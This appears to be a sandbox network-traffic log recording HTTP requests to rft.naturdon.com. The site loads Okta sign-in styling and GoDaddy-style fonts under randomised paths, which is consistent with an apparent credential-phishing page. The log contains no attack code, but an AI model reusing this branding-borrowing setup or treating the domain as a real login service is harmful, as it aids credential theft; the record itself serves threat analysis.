              Source: global trafficHTTP traffic detected: GET /GDSherpa-bold.woff HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveOrigin: https://rft.naturdon.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-regular.woff2 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveOrigin: https://rft.naturdon.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-regular.woff HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveOrigin: https://rft.naturdon.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /fent/randexp.js/releases/download/v0.4.3/randexp.min.js HTTP/1.1Host: github.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://rft.naturdon.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /assets/js/sdk/okta-signin-widget/7.18.0/css/okta-sign-in.min.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://rft.naturdon.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /assets/loginpage/css/loginpage-theme.e0d37a504604ef874bad26435d62011f.css HTTP/1.1Host: ok4static.oktacdn.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: text/css,*/*;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: styleSec-Fetch-Storage-Access: activeReferer: https://rft.naturdon.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /GDSherpa-vf.woff2 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveOrigin: https://rft.naturdon.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveOrigin: https://rft.naturdon.comsec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /34nEEFJyE1MDLcighsvrgTcHDnXpk89110 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /github-production-release-asset-2e65be/2925284/11f3acf8-4ccb-11e6-8ce4-c179c0a212de?X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Credential=releaseassetproduction%2F20250317%2Fus-east-1%2Fs3%2Faws4_request&X-Amz-Date=20250317T171918Z&X-Amz-Expires=300&X-Amz-Signature=b03bbaec5a91a18e7b4cbfa739c4126642a9771f606c5fab69bd554c936b5fe6&X-Amz-SignedHeaders=host&response-content-disposition=attachment%3B%20filename%3Drandexp.min.js&response-content-type=application%2Foctet-stream HTTP/1.1Host: objects.githubusercontent.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: */*Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://rft.naturdon.com/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
              Source: global trafficHTTP traffic detected: GET /ijHRyxlFrBBK9WsNrsle305J2IEt3f5AIzhQ0XYDQgR9ASa0bhpUWTy1Qpq6NE0TfiRkANAoHaO0ImUi9ROZv0PuACwKjFkEZ7S1UiHoFoVwNvx0ho34zw6o9H8YMwGDT3a8V9Tyz660 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /klfKSUW4h4SIph0P6yrnQG1Nt2rzThqQo2ba6oKozc4I6AiIoptSSBRYnqI0B77dZSxazhbtWBRab221 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /bcq9PU8gOPhcXwMY3MInh6fvEUmeuYy6piCOF8yFeQiPDLM9K1gBC8tqCxo1E3M7mo5dhDusdL8AxbH85jh54EklZYN7HwkIQvYMfgnz2npRrtDzVuxT18G34BaLy44aLJOl45wa5Pcd670 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /wxos0x516c9i2j2vcqm7bsDy0fwzHbSopUF4ljm9RfToW7LRFjix12130 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /opVP3rfXGJ5bZgUzKMghOMzgDiUi9yP8TMZ0NrYAZL67140 HTTP/1.1Host: rft.naturdon.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://rft.naturdon.com/kknyelgqveozzmeznlopjkctpua1vrjcrxr90achqpa38ptbqfm1h?XQTXXGFVVHRYHWWRHYESWOWMAIDAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlN5c2lSVkQ2eWVndU5zTkM0d1R6Q3c9PSIsInZhbHVlIjoiR3FYaStoVDVKY3E0THFWZStmNTZDbzhIZ1J5VnM1VXpIOTdnYlpWdEVNUVk1OWFiaXNDK25KdGd6V2IvYnlIWHp0T2xhT0JQdGVXNy9OLzdGL3FraEdYZEo4ZnEvYkNjQmYxV3BtTFdHYWw2RElPTUhPTTl1RTYySUVNK1ZWSVUiLCJtYWMiOiIzMmY1NDQwMTA3N2YxOGQ2MjQyODIzMDYyNWFhMmI1MTIxM2VmYjU5ZDAzMDZkN2E3OWZmMjk2YTM0YThjMjJjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkQ2YXkvL0NOUzRFTy9XU3lBNFFwakE9PSIsInZhbHVlIjoiQzFlamNJL2F3OUZJM08xdXNYb1ZzWlo0aTlqY2FVanpDWkZXNVA2bEkyRE5LOXo1SDVFMnk0SFVxaFl4OW1YSW9aOXFpQVNtSThvaTVnNGdPb2Y4NmgxaXRXYW1EQmEvT1EvZ2RFUUpwZzduTXdObzA0NmRqMkM4bVJnR29lb24iLCJtYWMiOiI5NDMyZTJkZGMyODM2YjYwYWZlMWYxM2E5NWQ0MGNkZWFjNjEzMzgzZDIzMjU4ZTEzNmQ4Y2JlYjZiY2M2NDhmIiwidGFnIjoiIn0%3D
              Source: global trafficHTTP traffic detected: GET /ijHRyxlFrBBK9WsNrsle305J2IEt3f5AIzhQ0XYDQgR9ASa0bhpUWTy1Qpq6NE0TfiRkANAoHaO0ImUi9ROZv0PuACwKjFkEZ7S1UiHoFoVwNvx0ho34zw6o9H8YMwGDT3a8V9Tyz660 HTTP/1.1Host: rft.naturdon.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: */*Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: 